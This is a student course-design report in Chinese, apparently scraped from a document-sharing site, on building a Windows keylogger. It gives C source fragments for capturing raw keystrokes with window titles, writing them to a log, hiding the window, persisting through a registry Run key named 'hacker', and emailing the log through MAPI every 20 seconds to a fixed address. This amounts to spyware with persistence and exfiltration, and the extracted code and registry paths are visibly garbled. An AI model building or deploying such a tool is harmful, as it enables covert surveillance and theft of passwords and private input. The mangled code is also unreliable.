




版權說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權,請進行舉報或認領
文檔簡介
1、目 錄目 錄1一 設計目的2二 設計內(nèi)容2三 設計要求2四 設計過程21、窗口函數(shù)程序?qū)崿F(xiàn)的步驟22、消息循環(huán)43、編寫窗口過程函數(shù)54、自啟動模塊設計65、定時發(fā)送郵件模塊設計66、程序流程圖8五 設計總結(jié)9參考文獻9一 設計目的通過本次課程設計,設計一個鍵盤監(jiān)聽程序,系統(tǒng)啟動后自動記錄所有鍵盤信息的功能,能夠記錄鍵盤的輸入值,且該程序具有自動啟動功能,并能夠定期通過網(wǎng)絡給某人的指定的郵箱發(fā)送所記錄的信息。二 設計內(nèi)容1、題目分析,查找資料和總體設計。2、詳細設計、代碼編制、程序調(diào)試。系統(tǒng)功能要求如下:模塊一 該部分通過設計一個窗口,并在窗口中響應鍵盤消息,記錄鍵盤的相關按鍵記錄,實現(xiàn)鍵盤監(jiān)
2、聽的功能。模塊二 該部分通過對注冊表的修改,將該程寫入注冊表,實現(xiàn)該程序的隨系統(tǒng)的啟動而啟動。模塊三 該部分通過調(diào)用系統(tǒng)的定時函數(shù),實現(xiàn)郵件的定時發(fā)送。3、結(jié)果分析、完成課程設計報告。三 設計要求1、學生能夠較深入的理解網(wǎng)絡編成的設計方法,并在所要求的設計時間內(nèi),利用自己所熟悉的語言完成本題目的程序編制。2、程序要能正確運行,完成預功能。3、要求設計清晰、美觀的用戶界面,當操作出錯時,程序要有出錯提示信息。4、上交設計報告。重點闡述程序的有關算法說明、程序的流程圖以及子程序的功能和參數(shù)的說明及程序代碼。四 設計過程1、窗口函數(shù)程序?qū)崿F(xiàn)的步驟(1)WinMain函數(shù)的定義WinMain函數(shù)的原型
3、聲明如下: int WINAPI WinMain(HINSTANCE hInstande,HINSTANCE hPrevInstance,LPSTR IpCmdLine,Int nCmdShow);WinMain函數(shù)接收4個參數(shù),這些參數(shù)都是在系統(tǒng)調(diào)用WinMian函數(shù)時,傳遞給應用程序的。第一個參數(shù)hInstance表示該程序當前運行的實例的句柄。第二個參數(shù)hPrevInstance表示當前實例的前一個實例的句柄。第三個參數(shù)IpCmdLine是一個以空終止的空符串,第四個參數(shù)nCmdShow指定程序的窗口應該如何顯示。(2)創(chuàng)建一個窗口設計一個窗口類一個完整的窗口有許多的特征,包括光標、圖標
4、、背景色等。因此在創(chuàng)建一個窗口之前,要對該類型的窗口進行設計,指定該窗口的相關特征。Windows為我們定義了一個窗口所應該有的基本屬性。在此次的程序中,運用了wndClass這樣一個函數(shù),來實現(xiàn)窗口屬性的設置。其中的第二個成員變量IpfnWndProc是一個函數(shù)指針,指向窗口過程函數(shù),窗口過程函數(shù)是一個回調(diào)函數(shù)。回調(diào)函數(shù)在特定的事件或條件發(fā)生時由另外一方調(diào)用的,用于對該事件或條件進行響應。(3)注冊窗口類調(diào)用RegisterClass函數(shù)對窗口進行注冊,注冊成功后才能創(chuàng)建該類型的窗口。具體實現(xiàn)如下:RegisterClass(&wndClass);(4)創(chuàng)建窗口設計好窗口并且將其注冊
5、成功后,就可以用CreateWindow函數(shù)產(chǎn)生這種類型的窗口了。其函數(shù)的原型聲明如下:HWND CreateWindow( LPCTSTR lpClassName, / registered class name LPCTSTR lpWindowName, / window name DWORD dwStyle, / window style int x, / horizontal position of window int y, / vertical position of window int nWidth, / window width int nHeight, / window h
6、eight HWND hWndParent, / handle to parent or owner window HMENU hMenu, / menu handle or child identifier HINSTANCE hInstance, / handle to application instance LPVOID lpParam / window-creation data);(5)顯示及更新窗口其中,顯示窗口通過ShowWindow函數(shù)實現(xiàn)。更新窗口通過UpdateWindow函數(shù)實現(xiàn)。到此,一個窗口函數(shù)的創(chuàng)建就算完成了。2、消息循環(huán)(1)編寫一個消息循環(huán),不斷的從消息隊列中
7、取出消息,并進行響應。要從消息隊列中取出消息,我們需要調(diào)用GetMessage()函數(shù)。通常的消息循環(huán)函數(shù)的代碼如下:while(GetMessage(&msg, NULL, 0, 0) /消息循環(huán) TranslateMessage(&msg); /虛擬鍵消息轉(zhuǎn)換為字符消息 DispatchMessage(&msg); /消息回傳給操作系統(tǒng) GetMessage函數(shù)只有在接收到WMQUIT消息時,才返回0。此時while語句的判斷條件為假,循環(huán)退出,程序才能結(jié)束運行。在沒有接收到WMQUIT消息時,Windows應用程序就通過while循環(huán)來保證程序始終處于運行狀態(tài)。W
8、indows應用程序的消息處理機制如下圖所示:圖2-1(2)操作系統(tǒng)接收到應用程序的窗口消息,將消息投遞到該應用程序的消息隊列中。(3)應用程序在消息循環(huán)中調(diào)用GetMessage函數(shù)從消息隊列中取出一條一條的消息。取出消息后,應用程序可以對消息進行一些預處理,例如,放棄對某些消息的響應,或者調(diào)用TranslateMessage產(chǎn)生新的消息。(4)應用程序調(diào)用DispatchMessage,將消息回傳給操作系統(tǒng),消息是由MSG結(jié)構體對象來表示的,其中就包含了接收消息的窗口的句柄。因此,DispatchMessage函數(shù)總能進行正確的傳遞。(5)系統(tǒng)調(diào)用WNDCLASS結(jié)構體的IpfnWndPr
9、oc成員保存的窗口過程函數(shù)的指針調(diào)用窗口過程,對消息進行處理。(6)發(fā)送消息可以使用SendMessage和PostMessage函數(shù)。SendMessage將消息直接發(fā)送給窗口,并調(diào)用該窗口的窗口過程進行處理。在窗口過程對消息處理完畢后,該函數(shù)才返回。PostMessage函數(shù)將消息放入與創(chuàng)建窗口的線程相關聯(lián)的消息隊列后立即返回。除了兩個函數(shù)外,還有一個PostThreadMessage函數(shù),用于向線程發(fā)送消息,對于線程消息,MSG結(jié)構體中的hwnd成員為NULL。3、編寫窗口過程函數(shù)(1)窗口過程函數(shù)用于處理發(fā)送給窗口的消息。一個Windows應用程序的主要代碼部分就集中在窗口過程函數(shù)中。
10、窗口過程函數(shù)的聲明如下:LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) HDC hdc; PAINTSTRUCT ps; (2)具體函數(shù)中有按鍵消息處理,通過WM_INPUT實現(xiàn),當發(fā)現(xiàn)有按鍵消息時,通過GetRawInputData函數(shù)獲得原始的按鍵信息,再通過WriteFile寫入文件中,寫下按鍵記錄。繪制窗口的界面,通過WM_PAINT完成。當窗口客戶區(qū)的一部分或者全部變?yōu)闊o效是,系統(tǒng)會發(fā)送WM_PAINT消息,通知應用程序重新繪制窗口,當窗口剛創(chuàng)建的時候,整個客戶區(qū)都是無效的
11、,因為這個時候程序還沒有在窗口上繪制任何東西,當調(diào)用UpdateWindows函數(shù)時,會發(fā)送WM_PAINT消息給窗口過程,對窗口進行刷新.完成后,需要對窗口進行撤銷,使用WM_DESTROY完成。當用戶單擊窗口傷的關閉按鈕的時候,系統(tǒng)會給應用程序發(fā)送一條WM_CLOSE消息,首先彈出一個消息框,讓用戶確認是否結(jié)束.用戶選擇是,則調(diào)用DestroyWindows函數(shù)銷毀窗口, DestroyWindows函數(shù)在銷毀窗口后會向窗口發(fā)送WM_DESTROY消息,此時,窗口銷毀了,但是應用程序并沒有退出.GetMessage函數(shù)只有在收到WM_QUIT消息才返回0,此時消息循環(huán)才結(jié)束,程序退出.想要
12、讓程序退出,我們必須響應WM_DESTROY消息,并在消息響應代碼中調(diào)用PostQuitMessage.向應用程序的消息隊列中投遞WM_QUIT消息,傳遞給PostQuitMessage函數(shù)的參數(shù)值將作為WM_QUIT消息的wParam參數(shù),這個值通常用作WinMain函數(shù)的返回值。DefWindowProc函數(shù)調(diào)用默認的窗口過程,對應用程序沒有處理的其他消息進行默認處理.4、自啟動模塊設計(1)該部分通過將程序的可執(zhí)行程序?qū)懭胱员恚瑢崿F(xiàn)隨著系統(tǒng)的啟動而啟動。自啟動有兩種方法,第一種方法是,在本地計算機中打開注冊表編輯器,找到下面的鍵值:HKEY_CURRENT_USERSoftwareMi
13、crosoftWindows NTCurrentVersionWindows 然后在Windows鍵值下新建一個字符串鍵值,并更名為load,雙擊打開這個字符串鍵值,接著把彈出窗口的“數(shù)值數(shù)據(jù)”中設置要隨系統(tǒng)自動運行的程序的路徑即可。需要注意的是,輸入的路徑文件名是短文件名。(2)另一種方法同樣是在注冊表中進行設置,找到鍵值:HKEY_LOCAL_MACHINESOFTWAREMicrosoftCommand Processor,找到并雙擊“AutoRun”這項,然后將鍵值設置為需要啟動的程序即可。這兩種方法都可以.在實驗中,運用了方法一,通過"SoftwareMicrosoftWi
14、ndowsCurrentVersionRun"找到鍵值,再通過hkResult,"hacker"/ 注冊表鍵名*/,0,REG_EXPAND_SZ,(unsigned char *)"F:KBDLoggerDebugKBDLogger.exe",32找到路徑后,將可執(zhí)行程序?qū)懭胱员?實現(xiàn)自啟動.5、定時發(fā)送郵件模塊設計(1)郵件發(fā)送功能通過Simple MAPI的函數(shù)以及相關的數(shù)據(jù)結(jié)構,根據(jù)其結(jié)構可以很簡單的實現(xiàn)發(fā)送郵件的功能。實現(xiàn)一個完整的郵件發(fā)送過程,只需要一個函數(shù)“MAPISendMail()”, MAPI 與郵件系統(tǒng)關系密切,要能夠使
15、用MAPI的功能,系統(tǒng)必須安裝有支持 MAPI 的郵件系統(tǒng),比如Outlook、Outlook Express、Eudora、Netscape等.在本次設計中,郵件系統(tǒng)使用的是outlook,經(jīng)過測試,發(fā)現(xiàn)沒有問題。首先是MAPI庫的初始化,包括兩個步驟:裝載MAPI庫、得到函數(shù)入口地址。發(fā)送郵件 MAPISendMail(),發(fā)送郵件功能就是對MAPISendMail()的封裝。下面解釋這個API函數(shù)的參數(shù)定義。ULONG FAR PASCAL MAPISendMail(LHANDLE lhSession, ULONG ulUIParam, lpMapiMessage lpMessage,
16、FLAGS flFlags, ULONG ulReserved);lhSession、ulUIParam和ulReserved這三個參數(shù),簡單地設置為0就可以了。flFlags有三個有效位,分別是 MAPI_DIALOG,MAPI_LOGON_UI,MAPI_NEW_SESSION。重點是 lpMessage 這個參數(shù),它指向一個MapiMessage類型的結(jié)構,詳細地定義了一個郵件的全部信息。(2)結(jié)構MapiMessage使用時首先定義一個MapiMessage類型的變量,將其清零。現(xiàn)在我們只要簡單地設定lpszSubject(標題)、lpszNoteText(正文)、lpOriginat
17、or(發(fā)件人)、nRecipCount(收件人計數(shù),),lpRecips(一個包含全部收件人的數(shù)組),nFileCount(附件計數(shù))、lpFiles(包含每個附件信息的數(shù)組)。nRecipCount 和 nFileCount 的值一定要與實際的收件人和附件數(shù)目相符。(3)結(jié)構 MapiRecipDesc必須設置 ulRecipClass、lpszName、lpszAddress(4)結(jié)構 MapiFileDesc必須設置的有l(wèi)pszPathName、nPosiotion兩個參數(shù)(5)定時功能定時功能通過調(diào)用系統(tǒng)函數(shù)SetTimer()來實現(xiàn)。其聲明原型如下UINT_PTR SetTimer(
18、 HWND hWnd, / handle to window UINT_PTR nIDEvent, / timer identifier UINT uElapse, / time-out value TIMERPROC lpTimerFunc / timer procedure);此程序中的時間值設置的是20秒,也就是說每隔20秒,程序會向指定的郵箱發(fā)送鍵盤記錄。6、程序流程圖(1)鍵盤監(jiān)控流程圖圖6-1鍵盤監(jiān)控流程圖五 設計總結(jié)通過這次的鍵盤監(jiān)聽程序的設計,使得我對窗口中響應鍵盤消息的機制更加深入的了解了,通過對窗口的屬性設置、注冊窗口類、創(chuàng)建窗口、顯示窗口、更新窗口、消息循環(huán)、窗口過程函數(shù)
19、的編寫,具體深入的體會了窗口響應鍵盤消息的實現(xiàn)過程和方法。同時,對于Windows的許多函數(shù)有了進一步運用與了解,如運用MAPI發(fā)送郵件的使用規(guī)則、運用CreateWindow()進行窗口的創(chuàng)建、窗口過程函數(shù)的編寫、GetForegroundWindow的使用等等,提高了編程的能力。關于程序運行時,無法實現(xiàn)郵件發(fā)送的問題,經(jīng)過反復的調(diào)試,都無法發(fā)現(xiàn)問題。把發(fā)送郵件的程序提取出來單獨運行時,發(fā)現(xiàn)是沒有問題的,能夠正確的發(fā)送郵件。但是,把這個程序完整的放入到整個程序中后,卻無法發(fā)送郵件。最后發(fā)現(xiàn)是由于進程的互斥問題。記錄的文件一直處于打開狀態(tài),并且不斷地有記錄向文件中寫入,這時想要訪問該文件當然是
20、不被允許的。究其原因,還是由于設計程序是沒有考慮操作系統(tǒng)的問題,文件打開后沒有立刻關閉。在今后的程序設計中,要考慮關于操作系統(tǒng)的同步互斥問題。這種問題的出現(xiàn),也正好提醒我要把學過的每一門專業(yè)課都學扎實,切實提高自己的編程功力,這樣,才能夠做到真正的提高。 試驗中遇到了不少的問題,有些通過上網(wǎng)查閱資料解決了,還有些通過與同學的交流,發(fā)現(xiàn)并解決了問題.盡管過程有些漫長,但是,在這個逐步解決問題的過程中,無論是自學能力,查閱資料的能力還是實際的動手能力都有了較大的提高.我想,只有通過不斷的諸如此類的課程設計,才能夠更好的檢驗我們平時所學的知識。參考文獻1計算機網(wǎng)絡安全教程石志國 薛為民 江俐 編著
21、清華大學出版社 北京交通大學出版社 2004年2計算機網(wǎng)絡安全基礎袁津生 吳硯農(nóng) 編 人民郵電出版社2002年3網(wǎng)站:附錄1、窗口函數(shù)的實現(xiàn)源代碼:INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, PSTR, INT iCmdShow)/主函數(shù) HWND hWnd; MSG msg; WNDCLASS wndClass;wndClass.style = CS_HREDRAW | CS_VREDRAW; wndClass.lpfnWndProc = WndProc; wndClass.cbClsExtra = 0; wndClass.cbWnd
22、Extra = 0; wndClass.hInstance = hInstance; wndClass.hIcon = LoadIcon(NULL, IDI_APPLICATION); wndClass.hCursor = LoadCursor(NULL, IDC_ARROW); wndClass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH); wndClass.lpszMenuName = NULL; wndClass.lpszClassName = TEXT("KBDLoger"); /窗口屬性設置 Regist
23、erClass(&wndClass); /注冊窗口類 hWnd = CreateWindow( /創(chuàng)建窗口 TEXT("KBDLoger"), / window class name TEXT("KBDLoger"), / window caption WS_OVERLAPPEDWINDOW, / window style 200, / initial x position 200, / initial y position 480, / initial x size 110, / initial y size NULL, / parent wi
24、ndow handle NULL, / window menu handle hInstance, / program instance handle NULL); / creation parameterswhile(GetMessage(&msg, NULL, 0, 0) /消息循環(huán) TranslateMessage(&msg); /虛擬鍵消息轉(zhuǎn)換為字符消息 DispatchMessage(&msg); /消息回傳給操作系統(tǒng) return msg.wParam; LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WP
25、ARAM wParam, LPARAM lParam) /窗口過程函數(shù)if (raw->header.dwType = RIM_TYPEKEYBOARD) hwndCW = GetForegroundWindow();/ 獲取當前鍵盤焦點窗口名稱GetWindowText(hwndCW, wtitle, 128); wsprintf(vk, "%s:%srn", wtitle, GetKeyName(raw->data.keyboard.VKey);if(hFile != INVALID_HANDLE_VALUE && (WM_KEYDOWN =
26、 raw->data.keyboard.Message) | (WM_SYSKEYDOWN = raw->data.keyboard.Message) && (0xFF !=raw->data.keyboard.VKey) SetFilePointer(hFile, 0, NULL, FILE_END);WriteFile(hFile, vk, strlen(vk), &dwWritten, NULL); if( VK_HOME = raw->data.keyboard.VKey) /按下home鍵顯示窗口ShowWindow(hWnd, SW_
27、NORMAL);if( VK_END = raw->data.keyboard.VKey) /按下end鍵隱藏窗口ShowWindow(hWnd, SW_HIDE); delete lpb; DefWindowProc(hWnd, message, wParam, lParam);return 0; case WM_PAINT: /窗口繪制 hdc = BeginPaint(hWnd, &ps);TextOut(hdc, 10, 10, szHelpInfo, strlen(szHelpInfo); EndPaint(hWnd, &ps); return 0; case
28、WM_DESTROY: /退出窗口 PostQuitMessage(0);CloseHandle(hFile); return 0;default:return DefWindowProc(hWnd, message, wParam, lParam);/對應用程序未處理的消息提供默認處理PVOID GetApiAdd(LPCSTR dllname, LPCSTR procname)HMODULE hDll = LoadLibraryA(dllname);/可執(zhí)行模塊映射到進程地址空間if(NULL = hDll)return NULL;PVOID pProc = GetProcAddress(hDll, procname);/獲取導出函數(shù)的地址FreeLibrary(hDll);return pProc;2、郵件定時發(fā)送源代碼/收件人結(jié)構信息MapiRecipDesc recip;memset(&recip,0,sizeof(MapiRecipDesc);recip.lpszAddress="SMTP:yangjiankun11"recip.ulRecipClass = MAPI_TO;recip.lpszName = "SMTP:yangjiankun11"
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經(jīng)權益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
- 6. 下載文件中如有侵權或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 2025至2031年中國伸縮笛行業(yè)投資前景及策略咨詢研究報告
- 2025至2031年中國貼片功率電感行業(yè)投資前景及策略咨詢研究報告
- 2025年安徽國防科技職業(yè)學院單招綜合素質(zhì)考試題庫匯編
- 2025年安徽工商職業(yè)學院單招職業(yè)傾向性考試題庫一套
- 2025年包頭輕工職業(yè)技術學院單招綜合素質(zhì)考試題庫審定版
- 2025年北京科技大學天津?qū)W院單招職業(yè)技能考試題庫一套
- 2025年北京社會管理職業(yè)學院單招職業(yè)適應性考試題庫必考題
- 2025年安徽林業(yè)職業(yè)技術學院單招職業(yè)適應性考試題庫有答案
- 2025年白銀希望職業(yè)技術學院單招職業(yè)適應性測試題庫及答案參考
- 2025年安徽衛(wèi)生健康職業(yè)學院單招職業(yè)傾向性測試題庫a4版
- 高三二輪復習備考指導意見
- 港口散裝液體危險化學品港口經(jīng)營人的裝卸管理人員從業(yè)資格考試
- 2023年四川省公務員考試行測真題及答案解析
- 日本商務禮儀課件
- 中國民間傳說:田螺姑娘
- 淺談鋼琴即興伴奏在教學中應用現(xiàn)狀及提高方法 論文
- 身體功能訓練
- 部編人教版四年級語文下冊《全冊全套》課件ppt
- 英文版-你來比劃我來猜游戲
- 皖2015s209 混凝土砌塊式排水檢查井
- 五年級道德與法治下冊 (我參與我奉獻)新課件
評論
0/150
提交評論